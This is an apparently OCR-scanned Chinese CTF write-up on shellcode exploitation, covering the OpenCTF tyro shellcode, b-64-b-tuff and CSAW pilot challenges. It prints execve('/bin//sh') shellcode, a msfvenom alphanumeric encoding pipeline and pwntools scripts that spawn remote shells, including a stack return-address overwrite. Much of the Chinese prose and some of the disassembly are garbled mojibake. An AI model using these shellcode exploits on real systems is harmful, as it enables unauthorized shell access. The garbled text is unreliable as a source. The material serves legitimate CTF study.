BT 0K, 7ES#HAEXception handlingBE O Fi%#ENo (discard) EFESIGALRMSSEITA .
5F—BHEARNE, XANEFHREEREH . NFHER EERRFFE R read REZIMNE ZH
ek, MEE—AFERmap i keAESE L.

IDA View-& [ Pseudocode-4 [ B Hex View-1 Structures [

1/int _ _cdecl main{int argc, const char ==xargu, const char =xenvp)
2K
3| int v3; /7 ST2C_4@1
4| void =ptr; /7 ST30_4@1
5| int vS; /7 ST38_u@1
6| int result; /77 eax@1
7| int v7; /7 edxz@1
8| int v8; // [sp+3Ch] [bp-84h]@1
9| int v9; /7 [Sp+*BCh] [bp-h]@1
18
® 11| v9 = =MK_FP(__GS__, 20);
® 12| v3 = open{"/home/challenge/flag™, 8);
® 13| setbuf{_bss_start, 8);
® 14| setbuf(stdout, 8); ﬁi&?ﬁﬁgﬁ idalarm O PRE[FEREIE
o 15| alarm{®8x1Eu); » {IATE
] 16I ptr = mmap{®, O8x86u, 7, 34, -1, 8); ﬁmmap()ﬁlﬂ.ﬂi—)-*._.l»_.lg_.lﬁlﬁm
® 17[ memset{ptr, BXC3, Bx/Fu); e
® 18| memset{&v8, 0, O8x7Fu);
® 19| puts{"OpenCTF tyro shellcode challenge.\n");
® 20| puts{"Write me some shellcode that reads from the file_descriptor");
® 21| puts{"I supply and writes it to the buffer that I supply");
® 22 rintf{""'%d ... Bx%08x\n", v3, &uB); sfi)\wiﬁﬂlg'lmmpoﬂmﬂﬂémﬂﬁg
® 23|| read(B, ptr, 0x28u); | > =[]
® 24 u5 = {({int (*)(void))ptr)();
® 25| puts{{const char =)&u8);
® 26| result = u5;
® 27| u7 = =MK_FP(__GS__, 28) " v9;
® 28| return result;
® 29}




QEM|E i STNRTISETEA

BT, HATATLUR I FSLPR ERIEMEA RN, FEEMcal HESHITRMBVMN. BRERILA
HMIA S W B RARBHEIIT.

HE IDA View-A [ @ Pseudocodr& B B Hex Viewl1 [ A Structures |

1int __cdecl pain(int afgc const char uargu. const char =senup)
2K
3| dint w33 S/ ST2C_waN
4 vold sptr; 7/ ST30 @1
5| dint vS; /F ST38_ "
6| int result; // eax@)
7| dnt w?; // edx@t
8| dint w8; 7/ [sp+3Ch] [bp-Banh]@1
9| dnt v9; // [sp*BCh] [bp-sh]@1
10
® 11 u9 = sM_FP(_EGS__, 20);
® 12| w3 = gpen(*/home/challenge/Flag”, 0);
® 13| setbuf(_bss_start, 0);
® 14 setbuf(stdout, @); L] i v ATl wre (O FESAE RS
e 15| alarguizui;! - gﬂﬁﬁ-ﬂﬁi - -
o 1o TPT= nap(s, @x8ou, 7, 38, -1, 8);] » BB (L~ AFTRETE S
© 17| memseE(pir, OxCI, Bx7Fu); e
® 18 memset(&vs, 8, BX7Fu);
@ 19| puts("OpenCTF tyro shellcode challenge.\n");
® 20 puts{"Wite me some shellcode that reads from the File descriptor*);
® 21 puts( t supply and writes it to the buffer that 1 supply™);
22 1 XR08xAN", v3, BUB); alﬂnﬁnw()ﬂﬂdﬁﬂﬂﬁg
» 23
@24 v = pEr)();
® 25 puts{{const char =)EuEB);
® 26| result = v5;
® 27| o7 = wMM_FP(_GS__, 20) ~ v9;
® 28| return result;
e 29
Debug Viev 0| @ Structures 0 B Erams o |
8 104 View-EIP O & x| iCeneral registers
L BYCE PUGLIC,IFIOR et e e eivie

% he:FTFARGODD OF 7FRABBEN
e UL R = ECXFTFARDDD 4 1d.50.cac

EDX BROOBOZD o
bt i et EST RODODOOY o
© ld.so.cache:FTFARODY retm EDIF7FAI000 » libc _2.20

s .:::.::::::;:::; :h e B e EBP FFB7AFOR & [stack]:F
® lld.s0.cache:F7FARDOB b 0C3N el et o) hid
* Nld.s0.cache:F7FRAGOC db OC3h ; b L
“ ld.se.cache:F7TFAROOD db OC3h ; R ]
® d.so.cache:FTFARDIE db BC3h ;
® la.s0.cache:FTFAROOF db OC3N ;
* lla.s0.cache:F7FARIMG db GC3N ;
* lld.50.cache:sFIFAAI1 db E3h ;
* lld.s0.cachesF IFARIMZ db OE3h ;
® id.se.cache:F7FAAMS db OC3h ;
® ld.50.cache:FFFAANMY db BESh ;

[UNENOWN FTFAROOD: 1d.so.cache:F7FAADOD (3ynchronized with EIFR) b
< »
[ Hex View-1 O & x |3 stack viev

FIEAsFCo 00 00 00 00 00 00 00 00
Frrasro0 o0 00 00 00 00 00 00 00
FIPAéFED 00 00 00 00 00 00 00 00

-
FE7REDD 00000009
FFETAEDY FTFARGED 1d.s0
FFETAEDE 00000020
FFETREDC 00000022
FFETREED FFFFFFFF

B, BNXBMEFERALN “12345678” ﬁﬁllﬂﬁ'ﬁ, PERITHIESHE. T2, HEFSERINNEBASY
AEL BT, shellcodeBARZMET .

HAERMNFEEK—shel lcode, H{1FEshel lcodeRI LAFTF—shel | LUETZIEEH I HKIRET
—/M00013% O Adocker FME, T Eshel lcodefIA/N T RERBIT L84 read MM IS H, EI0x20=32. (1B
EZBshel |-storm. orglishel lcode3EEEshe | |-storm. org/shel lcode/3 %2 T —ES & 5514 Hshel lcode

« Linux/x86 - Tiny Execve sh Shellcode - B bytes by Geyslan G. Bem
AN F RIS TshAIshel Icode, BA—FEEEBRBINE. BIVETEXLNLE, Hshel lcodeBUHE K

F7raaboD ZENEE 33 34 35 36 37 38

20




QEME

"\x31\xcNx £7\xel\xb0\x0b\x51\x68\x 2 \x21”
N 73x68\x 68 \x2f\x62x69 \ xbe\x89\xe3 \xcd”

“\%80”:

o. interactive ) 5%

emot

e('172.17.0.2",

FriftiT32 B, AT Tshel | 674,
10601)

ﬁEFﬁpwntoolsthEshelIcodefFjjﬁﬁ)\f%

ening connection to 172.17.6.2 on port 10001

ening connection to 172.17.0.2 on port 10001:
Opening connection to 172.17.0.2 on port 10601:

shellcode
print io.recv()
OpenCTF tyro shellcode challenge.

Trying 172.17.0.2
Done

I]f

=ik R

= "\x31\xcNxF7\xel\xb8\xOb\x51\x68\x2 T\ x2F\x73\x68\x68\ x2f\x62\ x69\x6e\x89\ xe3\xcd\xBO"

Write me some shellcode that reads from the file descriptor
I supply and writes it to the buffer that I supply

AR e

Oxffbf

io.send(shellcode)

io.in

active()

Switching to interactive mode

LR shel I-storm E A ATIIALT
ALK —
*, XE2EARIT

1R EARIERIVE ?

HAbIhREMNRA, HIZIEE,
BANBERFIZT ..

0x01 shellcodeRIRI2

_toxtz0S0SB721 mow
Ltext 02048728 call

R ;iz_ﬂ]E?ﬂELﬁ,mTTcall eax t, 9*

dword ptr [espl, offset Format
_printf

F7EE’<1?£

zEA

EAX F7FR10D0 o de

JZHY/ etc/passwdZHshel lcode, KRt
T EW%Z,ﬁwHwﬁg—ﬁTuMhﬁEm%%WWﬁ@oWZﬂMMMe

WS H

EBX 000Q@0RR -

LLext N 0AB7Z0 Row dword pre [espss], 2on ; nbytes s ’ ,

oextsMSMITEE e ey [qsp.:[_,"h': 1 v ECX FTFR100D v debugus :Ff

.toxt:BBONB739 mou [esp+h], eax 3 buf EDX 00000020

_text:DE088730 mow duord pte [esp], 0 i Fd EST 00DARRRT -

LexU:ON0ABTHY call  _read EDI F7FIAOBD & Libc 2.24. 50

LERXE IR ONBTHY maw eax, [esp+3mn] EBF FFRS688 v | J:FFRE

_text zDS0SBTHD mow [esp+dtn], eax ESP FFAS9SCO & [sta FAs
0| Crext:08mAB75S call  eax’ EIF 080NI755 « mains14d

ot DRINRIST faspanny EFL 00000207

_text:0S0S875E Lea pax, [espe3in]

.text:0R08B7SF mow [esp], eax s

.text:0B0ABT62 call  _puks

Ltext:OBABZ67 mav eax, [espraEn]

_text:DS0SB768 mow edx, [espeOBCh]

et :DROSBT72 xor edx, large gs:iih

et :0R0AR779 j2 short locret _BBE780

Ltext:0B0NB7E call stack_chk_fail

491 main+13 hronized with EIP) w

& Hex View-1
OFCH DD 00 68 0D 00 @0 00 08 0O 00 @8 0D G0 OB 0D 0B

O & x [55tack Ji\r

~ FFRSOSCE
on

IDFOO BB 00 02 0D 00 @2 00 00 0D 00 @0 B0 00 8@ 00 0 ... . FA1008  debug @
FIFEDFED @@ 00 0B B0 U0 @2 G0 @0 90 00 99 00 00 99 00 09 ... EP5CE  QRO0EZR
GECE  DDORREZZ
f?fh‘ﬂﬂﬂ £ co F7 E1 BB @B 51 68 2F 2F 73 &8 68 2F &2 69 1..... l]luf;‘sllmﬂu P50 FFFFFFFF
SE B9 EI CP BOCI €I C3 CICI CICI CICI CI LI _n P500  BOOOODRR

FIFN C3 C3 3 C3 C3 G3 C3 GF C3 C3 G3 C3 G3 C3 €3 C3 ... 9508 FTFAZBAE  ORDuqgRR

41030 €3 E3 €3 €3 €3 €3 €3 €I €3 £F €3 €3 £3 €3 €3 €3 D& FFASOTRN | ]

TME@&MM@A*&TWTE%?

aepugubz i+ assume es:_stack_, Ss:_stack_, OS:_sSrack_, ts:_stack_, |
debug@82:F7F416688 xor ecx, ecx

debug@02 :F7F41002 mul ecx

debug@62 :F7F41004 mov al, OBh

debug@62 :F7F4108086 push ecx

debuqB02 :F7F41687 push

debug@02 :F7F4100C push

debug@62 :F7F41011 mov ebx, esp

debug@82:F7F41613 int 86h 5 LINUX -
debugBB2:F7F41615 retn

debug@82:F7F41015 ;

FRATATLLI%E IR Options—>General,, FBNumber of opcode bytes (non—graph) BI{EIEX



QEMIE

| EFRATHIEETEH

* IDA Options

Disassembly  Analysis  Cross-references

Address representation
DEunction offsets
Include segment addresses

[“] Use segment names

Display disassembly lines

A Enpty lines

[v] Borders between data/code (non—graph)
[IBasic block boundaries (non-graph)

Source line numbers

Browser Misc

Graph

Display disassembly line parts

Strings

Line prefixes (non—graph)
[] stack pointer

Comments

Repeatable comments

[] uto comments

[ Bad instruction <BAD> marks

Instruction indentation (nen-graph)

X

& . T oo

5eg000: OFE4 Comments indentation (nom—graph)

Low suspiciousness limit |018048000

Line prefix example:

‘ Right margin (nen—graph)

ﬂiiﬂ

High suspiciousness limit |0xFFFT3000 ‘ Spaces for tabulation

Cancel

Nunber of opcode bytes (non—graph)
Help

Ticcacn

SRUMBFILRIESEHI N E KB —H)—H1612HIE .
debug882:F7F41000 assume es: stack , ss: stack_, ds:_stack_, fs: stack_, gs: stacl
! |debugBB2:F7F416082 F7 E1 nul ecx
! |debugB02:F7F41004 BO 0B nov al, 0Bh
! |debugBB2:F7F410806 51 push ecx
' |debugBO2:F7F41807 68 2F 2F 73 68 push 68732F2Fh
! |debugBB2:F7F4100C 68 2F 62 69 6E push 6E62622Fh
' |debugBB2:F7F41611 89 E3 nov ebx, esp
! |debug882:F7F416813 CD 80 int 86h ; LINUX -
! |debug882:F7F41615 C3 r'etn
UEbugEB2CEIRETETS: =000 Boreesesoceeccoceosscess s e T e
! |debugBB2:F7F41816 03 db 8C3h ;

2. _AaAn_rorsanas s AnAc

X‘LE*ﬁ’ﬁ-;&Tﬁ*E’Ju%‘F‘W%HL_, X L1 63 I %5 5B MY lopcode . opcode @B ZOMBLARRY, FL4RIE
SHEEMTRXRINEEE. HEZEWRATLUATL4RIES Ropcodefd “FIR” . T AKFELHRIESIES,
Uxor ecx, ecxZF, LR LFERMCHRERBopcode SiLRIESHIBIRMNIE AR 163 E, BS5HEM
BIRZITEEAIE, RETROIFEFTRFHCPUIRBIFIMITAY. R, IDAZEKMRCHE L EEREHRAN
31 61t B AL IRACCRCABRY . FTARR R LAE RIS & A R0 1 633 F) BB LA A AJopcode &8, Bllshel Icode, ﬁ
%’%é}E BLURRIHNIT, SERIZNVEENINEE. KT opcode7s MR K E RN IR A R B EGR, B

SUBAVIEE T LU Inte | EMFREVF & & FM s H bt 5 & R ERFIT T BA SR ERADEHNBBREFS

shellcodeo

| 0x03 Fexiam

HANBEHITIX R, ATLULKINEAX, EBX, ECX, EDXPUNEHFsstiEEE, EAXHEMKEA0Xb, ECXA
%, “/bin//sh” FRFBAE, FHFHEHUIMTLE TEBX, |EWMITSEint 80h, IDATEH T —PwarningB O
T 7rgot SIGTRAP signal




OEMIE

W warning X

= N F7F24A20: got SIGTRAP signal (Trace trap) (exc.code 5, tid 466)

=T

[[] Don't display this message again (for this session only)

=450K, ZI_@-FB“}?,%F‘?#L{T, i%3¥Yes (pass to app) .ZAKE Epythonq:'#l,ﬁ'io. interactive O {TFENZT
B, BEFEMIAN—"shel 1455 UN1s, 7EIDAE OHRERILF, ﬁu‘f{%—/\ﬁ% SWEDO

W Warning X

E > F7F22DC9: got SIGCHLD signal (Child status has changed) (exc.code 11, tid 466) |

Y

T

[] Don't display this message again (for this session only)

FIHOKELEEEINIT, %1EYes (pass to app) , LMpythonE O HIshel | GFESHERIIMIT.

MBLEERT, ?*J.ﬂ]LExshelIcodeiﬁ#&ﬁsystemﬁﬁ\@ﬁ, RIESLIT “system("/bin/sh")” BIFR
e? EL b, BERNINEERARRIZEEBRE ZFEER int 80hiES. &R intel FF&EHFMIRATATUEE
intiESHITHRE R AR RGBT, ATlint 8OhFi2AR128S i, E321IAYI inux R LT, iz B FIE
ﬂq?%iﬂﬁﬁhf‘_system_calI().?ﬁﬂ\]ﬂl‘ﬁ, HF S EHFIRIERFERAZIRP, EREFIRE—RERP
BRTEIT. EXMER THRAIVERNIEFNENRBRREHEAZRTEIN. BRBNERFTLUEITE
Fread O, write() ZZKAIRIMMNBEEZIZEUGN, IMMEREEESENHF. Lread(, write() 2%
R B2 B ARBIRIPERE T, HﬁlﬂiﬁfﬁliuzkiZHﬂW*Z%’@E"]ﬁ%ﬁ@#”ﬁs? BEMAET int 80hX R
BrER . FARINASSIEERSASEFEFREFTRNE, BHAARMER 55 int 80h, FATLUBHMMIZSEMR
EIBIThEE. I_'I'ﬁread O, write(), systemQ ZEWEERNZ “FIT” E’Juﬁﬂl T}EZElfléﬁﬁ 35S E—uk
FNSHAIE, BEAIESEREHEMBA. 32001 inux RGN AZ—HIEH T 073378 Hi1338F R & E
Fﬁlo(:'—f)u;f_ﬂﬂ']ﬁ]ﬁbo

BT int SOhNEMMEAZE, BINEEERERE—TUA{ER int 80hSLHsystem("/bin/sh") . @it
http //syscal |s. kernelgrok. com/, F{i1i&1%XZEsystem, {BEZIXETX

— o [T . .
# eax 4 ebx - ecx - edx & esi ~ edi &

0 sys_restart_syscall 0x00 - k

1 sys_exit 0x01 int error_code k

2 sys_fork 0x02 struct pt_regs * - a

3  sys_read 0x03 unsigned int fd char __user buf size_t count s

4  sys_write 0x04 unsigned int fd const char __ user size_t count f:

=buf

5 sys_open 0x05 const char __user int flags int mode - - i
*filename

6 sys close 0x06 unsigned int fd - - - - f:

7  sys_waitpid 0x07 pid_t pid int __user *stat_addr int options - - k

8 sys_creat 0x08 const char __user int mode - - - f:
*pathname

9  sys_link 0x09 const char __user const char __ user - - - 1
*oldname *newname

10 sys_unlink 0x0a const char __user - - - - :

B
11 sys_execve 0x0b char __user * char __user *__user char _ user struct pt_regs - B
= = user ® *

SHEEFATVE R AUshel lcode RIS 788 {E, RAEFH 4 Mshel lcodeFRYEAX = 0Xb = 11, EBX = &( “/bin//

sh” ), ECX = EDX = 0, BEN#{TT sys_execve ("/bin//sh", 0, 0, 0), Lﬂ/b.n/shm&ﬁﬂ%— Nshel |.
ER AR TR LATE & B systemB HAVFE R T T Frshel . FEIENZ, I‘JEESF“%H RG], uatuu%g;m
Ares, ARASMESARNEARERE, Bln64irlinux RGHCHRIES T Esyscal |, JHHsys_execvedH
EIEEAXIZRE H0x3B, MESHM BT ERBMI2MUARE, BAERLIEEhttp://blog. rchapman. org/posts/

Linux_System Call_Table for_x86 64

3
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0x04 shellcodefIZER

ERZIFERAT, FAIZIK LN shel Icode, BEEREITAEEARN . EREBLEFERT, AT RINEshel Icode
EANMENREFNAESE S, BIEEXEEMshel |code I TIEK IR LU G she | |codeHFEZA\
x00, \xOAZFHFRFRF, RS EHMIRS]. GERHEEEZEEZEEH D5 —Eshel lcode. FANEITFMIF 55
Z3—TERTAEMFEILXIshel lcodei TR,

BB #15F/BSides San Francisco CTF 2017-b_64 b_tuff/b-64-b—tuff. \FSHILER FE, FHAIR
B MEXNMEFSBEHRATHVMN T Thase4mIB FIEA L HIESHIT CEEBEMbase 4 mIB FE RN FRT
15t shel lcodefEreturn OBYBI—1TH#E KA REE J ok B35 H1AR)

1{int __cdecl main{int argc, const char ==xargu, const char *=enup)
2K

}| char #=#s5; f/ ST28_u@h

void =shellcode; /7 [sp+6h] [bp-18h]@1

void =src; // [sp+4h] [bp-14h]@1

ssize_t size; /F [sp+8h] [bp-18h]&@1

=

alarm{ 0xAu) ;
setvbuf{stdout, 0, 2, 8);
setubuf({stderr, 09, 2, 08);
shellcode = mmap{{void =)0x41410800, 0x1558u, 7, 34, 8, 0);
printf("Address of buffer start: %p\n", shellcode);
src = malloc{Bx1088u);
size = read(®, src, 0x1008u);
if ( size < B )
{
puts("Error readingt");
exit(1);

o e ey

o —

printf(“'Read %zd bytest\n”, size);
= {char =)baseéd_encode{{int)src, size, shellcode);// baset4_encode(char #=src, int size, char =result)

puts(s);

((void (*)(void))shellcode)();

[ return B3

H)
BAREFEEATHRIMTEERBANS, B 2basetdfmiRIRHIZRILANTAVMN LI R -9

, a~z, A-Z, +, /IXEEFTFLARL, ,u\ﬁ'ﬁéﬂzﬂ]ZﬁuFﬁ?‘EﬁshelIE’JsheIIcode
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2F\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" BIREH
k%M$MwMﬁﬂ$ﬁ,EE@%T*%%?WE?ﬁOIﬂ IR FEXSHFITRE .
EARK L shel lcodeINRERYIER T HHITHRIBE— 2R T4E, EFHMNEXETEFATLR. FX
L, pwntoolsFEHE® T — |encode?éﬁﬁy‘iéﬂshelIcodelﬁﬁ—““leﬂﬁﬁ’ﬁﬁﬁ%, {82 BAlencode EHITHEERR
88, MELEBAREZFER, ALZMNEERES— NI EmnsfVENOM, T kalihEH Tmetasploit, FH
kal i F9ISEE AT LA EIE(ER
E?&?ﬁﬁ]§§—Tmsfvenomﬁ’9%¥ﬁbi§i1ﬁ

asploit standalone payload g

ment for msfpayload and msfen
r/bin/msfvenom [options] <var=val=

e R

--pay1o:j <payload> Payload to use. Specify a '-' or stdin to use custom payloads
the payload's standard options

- a module type. Options are: payloads, encoders, nops, all

- -nopsled > Prepend a nopsled of [length] size on to the payload

--format ats> Output format (use --help-formats for a list)

--help-formats i deilablu formats

The ma
The ma um si f = a ( ults to the -s value)
f c to e
The number of Tlmes to encode the
Specify an additional win3:Z
<path> Specify a custom
Preserve the temp e behavio inject the E s a new thread
Save the payload
Specify a custom variable name to use for certain output formats
Generate the smallest possible payload
Show this message
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B, BNTFELMNITmsfvenom —|

:~# msfvenom -1 encoders

RG A5

encodersHkixt—

Framework Enuoder~

Name Rank
cmd/echo good Echo Command Encoder
1 manual Generic Shell Variable Substitution Command Encoder
low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell base64 excellent Powershell Base64 Command Encoder
cmd/printf php mq manual printf(1) via PHP magic_quotes Utility Command Encoder
ri i manual The EICAR Encoder
/ normal The "none" Encoder
mipsbe/byte xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte xori normal Byte XOR1i Encoder
mipsle/longxor normal XOR Encoder
php/basetg4 great PHP Base64 Encoder
ppc/Llon normal PPC LongXOR Encoder
ppc/longxor tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/zutto dekiru manual Zutto Dekiru
x86/add sub manual Add/Sub _Encoder
6/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha upper Tow AlphaZ Alphanumeric Uppercase Encoder
«86/avoid underscore tolower manual Avoid underscore/tolower
x86/avoid utf8 tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp polyglot WERTEY BMP Polyglot
ﬁfca114 dword xor normal Call+4 Dword XOR Encoder
WELTEYS CPUID-based Context Keyed Payload Encoder
WELTEYLS stat(2)-based Context Keyed Payload Encoder
x86/context time manual time(2)-based Context Keyed Payload Encoder
%86/ countdown normal single-byte XOR Countdown Encoder
env_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
all additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt sub manual Sub Encoder (optimised)
6 rice LWELTTEL Register Service
shikata_ga nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single static bit manual Single Static Bit
x86/unicode mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
& Ix86/alpha_mixed Al L4 she | |code AT A/NER AN, FEENWEZHE. MURNEE®SS
AT

python —c '"import sys: sys.stdout.write ("\x31\xc?\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\
x2F\x62\x69\x6e\x89\xe3\xcd\x80") ' | msfvenom —p — —e x86/alpha_mixed —a linux —f raw —a x86
—platform |inux BufferRegister=EAX —o payload

HAEEE S HiAshel Icode, {BmsfvenomPBEMstdindiEEY, FRLUER | inuxEERIERF “1” , 8

shel lcodefEApythonfE FFRUMIE, MpythonAistdout{Zi%ZEImsfvenomfistdin, ﬁtﬁhﬁﬂ%iﬂ%ﬁ%%%?axsb/
alpha_mixed, BLEB#rFAEMERES, MERIXHRZ ApayloadIX . &G, HTFHEb-64-b-tuffr
nzL_1_$ u_mcall eaxﬂjﬁﬁshellc?deﬂﬁ

upTS ), vax

.text:usuusasa sub esp, BCh
-text:6804888E push [ebp+s] HE
-text: 08048891 call _puts
.text: 08048896 add esp, 16h

. .text: 08048899 mov eax, [ebp+var 18]
.text:0804889E mnov eax, @
.text:080488A3 mov ecx, [ebp+var_u]
-text:080488A6 leave
.text:080488A7 lea esp, [ecx-4]

-text:080u488AA retn
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FrLABC EBufferRegister=EAX. R/EHiIHApayload I APYIIITIITIITIIIITI7QZ jAXPOAOAKAAQ2AB2BBOBBA
BXP8ABuJ | p1ky i gHaX06kr gPh60DoaccXUBToE2b | bNL | XcHMOpAA
RERIARIT:

from pwn import *
from base64 import *

context. update (arch = 'i386', os = 'linux', timeout = 1)
io = remote ("172.17.0.2", 10001)

shellcode = bé4decode ("PYITIITIITTTITIT117QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABuUJ I p1ky i gHaX06krgPh60D
oaccXU8ToE2b | bNL | XcHMOpAA™)

print io.recv()

io.send(shellcode)

print io.recv()

io.interactive()

R I3k Blshe | |

1~# python exp.py
[+] Opening connection to 172.17.0.2 on port 18001: Done
Address of buffer start: 8x41410000

[*] Switching to interactive mode

PYIIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABulIplkyigHaX06krqgPh60DoaccXU8BToEZbIbNLIXCHMOpPAA
1s

b-64-b-tuff

core

flag. txt

linux server

TERATH, BHEARHEEN. BHEHMERNFTLIRIIS Ashel Icode, {B=Zshel lcodeZEHITRIE ZHIT
AN S AR . LRI LUBE R, BANTTEEF TR shel lcode, FARERBITLHEL D FHIshel Icode
B & B|—i2. EbanfilF"/CSAW Quals CTF 2017-pilot/pilot

JZ/I\E RIZERIFETR B 8, ifirhﬂ']malnfé‘flq:‘ﬁ-f MRS .

slgned intéh result; // rax@?
Hrl char buf; /7 [sp+8h] [bp-28h]@1 |
15
16| setvbuf{stdout, BLL, 2, BLL);
17| setvbuf(stdin, 6LL, 2, BLL);
18| LODMORD(v3) = std::operator{<{{std::char_traits<char>>(&std::cout, “[#]Welcome DropShip Pilot...");
19| std::ostream::operator<{<{v3, &std::endl<{char,std::char_traits{char>>);

MIEE AT R B buf BT (bp-20h14k, FMbufEERbpE 02207

28| LODWORD{u4) = std::operator<<{<{std::char_traits<{char>>(&std::cout, "[#]I am your assitant A.I....");
21| std::ostream::operator<{<{{ul, &std::endl<char,std::char_traits{char>>);
22| LODWORD{uS) = std::operator{{{std::char_traits{chard>(&std::cout, “[#]I will be guiding you through the tutorial....");

23| std::ostream::operator<{<{{vs, &std::endl<{char,std::char_traits{chard>);

24| LODWORD(uG) = std::operator<<<std::char_traits<char>>(

25 Bstd::cout,

26 "“[#]As a first step, lets learn how to land at the designated location....");

27| std::ostream::operator<<{ut, &std::endl<{char,std::char_traits{chard>);

28| LODWORD{u7) = std::operator<{<{<{std::char_traits<{char>>(

29 &std icout,

an | #]Your mission is to lead the dropship to the right location and execute sequence of instructions te ™

91 ‘save Marine & Medics ' H

392 std::ostream::operator{<{{v/, Bstd::er (l:fldl' 5td:

393 LODWORD(v&) = std::operatord{<{std:: *_tralts<c »(&std::cout, “[#]Good Luck Pilott....");

std::ostream: :operator<<{(v8, Gstd::endl<char,std::char_traits<char>>);

LODMORD{u9) = std::operator{<{<{std::char_traits<{char>>(&std::cout, “[#]Location:");

LDDWI}IHD( 110y = std::ostream: :operator{{{v?, &buf);

std: u:lredm .operdlor<<(nln &5[{]. ErlLl].(l.fldI std:
! ‘r>>(&5Lu:'LuuL,

:char_tralits<{char ))) H

ar_ l| dil)(l.lldl’))) 3

if ( read(®, &buf, Bx40ULL) <= 4 )
\

EURE B0 20 M FERHABRAAN S S LR ABRN
ﬁ nu lij‘trlr

541 LODMORD(u11) = std::operator<{<{{std::char_traits<{char>>(Gstd:: cnut "[#]There are no commands....");
42 std::ostream: :operator<<(vii, &stﬂ::endl(cnar,std::l:har_traits(l:llar)));

43 LODMORD(v12) = std::operator<{<{{std::char_traits<{char>>(Gkstd::cout, "[*]Hission Failed....");

Ly std::ostream: :operator<<{(v12, Bstd::endl<{char,std::char_traits<char>>);

11 result = BxFFFFFFFFLL;

NG|}
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£ Apwntool s BT I B ANchecksec BIZR, AMBFFEERWXE (B inuxBIXHERBME—, T4
EENMARERSENAEFEIRE, 8—NR ’@ﬂ# BEMER, JEMW, AHITX =ZMEM. RBE
%AW?’% REFANEAHITEMR, FEAEIEA N S ECCARIESIT, BUNESHE)
:~# checksec pilot

[*] '/root/pilot'

Arch: amd64-64-little

RELRO: tial F ]

Stack:

NX:

PIE:

iﬁiﬁiéﬁ A PUXARIXER B Sl 24k, BIZFITMEL T buf FTIERYHE R

s[*]1Good Luck Pilot!....
c[*]Location:0x7fff3b4dbolfe

c[*]Command: 12345678

.text:0000000000400ADB EF 00 00 B8 88 mov edi, @ ; fd
.text:0000000600400AE0 E8 3B FD FF FF call _read

[ . text:8000888860406AE5 48 83 F8 B4 cnp rax, &
text:D000000000400AE? OF 9E CO setle al
.text:DO0000O0OD4OBAEC B4 CO test al, al
.text:0000000000400AEE 74 3F jz short loc_400B2F
-text:0000000000400AF0 BE 90 0D 40 08 mnov esi, offset aThereAreNoConm ; "[*]1There are no com
-text:0000000000400AF5 BF AD 20 60 08 mov edi, offset _2Sthcout ; std::cout
text:0ooooBoOBOMOOAFA EB 61 FD FF FF call __25tlsISti1char_traitsIcEERSt13basic_ostreamIcT_ES5_PI
text:0000000000400AFF BE 90 08 40 08 mou esi, offset _ 2St4endlIcSt11char_traitsIcEERSt13basic_i
.text:000000D000D4OBBOLY 48 89 C7 mov rdi, rax
.text:0000000000400B07 E8 74 FD FF FF call __ ZNSolsEPFRSoS _E ; std::ostream::operaty
.text:0008000000400B0C BE AD 6D 48 88 mou esi, offset aMissionFailed_ ; "[=]Mission Failed..
-text:B080000800400E11 BF AD 20 60 88 mou edi, offset _2Sthcout = s|'td: zcout
.text:0000080000400B16 E8 45 FD FF FF call __ 2S8tlsISti1char_traitsIcEERSt13basic_ostreamIcT_ES5_PI
.text:0000000000400B1B BE 90 08 48 00 mov esi, offset _ ZSt4endlIcStiichar_traitsIcEERSt13basic i
text:D0000000DD40BB20 48 89 C7 mov rdi, rax

00000B11 0000000000400B11: main+16B (Synchronized with RIP)
<

[&] Hex View-1

7 JB 4B IC]
OOOO7FFF3B4BAIFE 31 32 33 34 35 36 37 38 ©BA 68 40 DO 00 60 60 B0 12345678..E@..... |

TO/FFroBadBoZ0n F@ B7 OB 38 FF 7F murm!m‘u‘ru‘n EELiSEcoocooEoEes
ERASRA MRS RRI T4 3 — ﬂmmumm,ﬂ%&mmmﬁmﬁkmnmthﬁomuﬁmgT
YEN: ¥

#!/usr/bin/python
#coding:utf-8

from pwn import *
context. update (arch = 'amd64', os = 'linux', timeout = 1)
io = remote ('172.17.0.3"', 10001)

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\ xe7\x50\
x57\x48\x89\xe6\xb0\x3b\x0f\x05"

#xor rdx, rdx

#mov rbx, 0x68732f6e69622f2f

#shr rbx, 0x8

#push rbx

#mov rdi, rsp

#push rax

#push rdi
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#mov rsi, rsp
#mov al, 0x3b

#syscall

print io.recvuntil ("Location:") #1HYE| "Location: ", ZKiEER =ittEE
SR A #k bt

shellcode_address_at_stack = int(io.recv()[0:14], 16) #1555t 28 H SR AU AR M N F R R R R AR
HF

log. info("Leak stack address = %x", shellcode address at stack)

payload = ""

payload += shellcode #$H¥Eshel I code

payload += "\x90"*(0x28-len (shel lcode)) HEEFZFFEFZRERPRFORIPA, thabik
AT=1HESLNOP, BI\x90ENERFRF

payload += p64(shellcode_address_at_stack) #¥H¥Eshe | | code FRFERUARMIE, 3%

RIPEiZ bt LI Tshel | code

io. send (pay | oad)

io. interactive ()

{82 HUTHENE TR T -

- io.interactive()
Switching to in active mo

Got EOF while reading in interactive

REMR, FABHALI T O, HRNEFLE S THmaintR A retnfl, RifZshel lcodeBERLET

A

[stack] a0 NCEAZ2870 B e e
[stack]lls 31 D2 xor rdx, rdx
